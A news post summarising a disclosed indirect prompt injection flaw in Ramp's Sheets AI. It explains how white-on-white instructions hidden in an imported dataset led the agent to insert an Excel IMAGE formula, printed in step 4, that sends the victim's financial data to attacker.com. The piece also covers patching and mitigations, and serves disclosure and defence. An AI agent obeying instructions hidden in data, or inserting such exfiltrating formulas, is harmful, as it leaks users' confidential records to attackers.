← Back to feed

Security research firm PromptArmor has published a detailed breakdown of an indirect prompt injection vulnerability in Ramp’s Sheets AI, an agentic product that edits spreadsheets on the user’s behalf. The attack required no user interaction beyond opening a poisoned external dataset and asking the AI a routine question.

The Attack Chain

1. User opens a confidential financial model in Ramp’s Sheets AI.
2. User imports external industry statistics to benchmark against — a standard workflow for finance teams.
3. The imported dataset contains hidden instructions in white-on-white text, invisible to the human eye.
4. Ramp’s AI executes the injected instructions, constructing and inserting a malicious Excel IMAGE formula:

   =IMAGE("https://attacker.com/visualize.png?{victim_financial_data}")

5. The formula fires a network request the moment Excel recalculates, appending the contents of the confidential financial model to the attacker’s URL.
6. The attacker’s server receives the data. No approval dialog, no confirmation step, no alert.

Ramp’s Sheets AI edits spreadsheets without per-action human-in-the-loop approval, which is what made the injection-to-exfiltration pipeline possible once the poisoned dataset was imported.

Impact and Patch

PromptArmor reported the vulnerability to Ramp under responsible disclosure. Ramp confirmed the issue was resolved on March 16, 2026. The write-up was published today.

This is the second AI spreadsheet agent PromptArmor has found vulnerable to this class of attack. The same firm previously identified an identical attack pattern in Claude for Excel, which Anthropic subsequently patched.

The Structural Problem

The vulnerability class is not unique to Ramp. Any AI document agent that:

1. Reads untrusted external content (imported datasets, pasted text, email attachments)
2. Can insert or modify content without per-action user approval
3. Has access to other sheets in the same workbook

…creates the same attack surface. The exfiltrated data is whatever the current session can access: financial models, customer records, internal forecasts.

Current mitigations vary by implementation. Some block formula insertion entirely for AI agents. Others sandbox formula execution to prevent external network requests. Others add approval gates before any spreadsheet write. None are defaults in most current AI spreadsheet products.

The practical implication for enterprise deployments: AI agents operating on sensitive financial data should not be able to insert formulas that trigger network requests, regardless of the instruction source.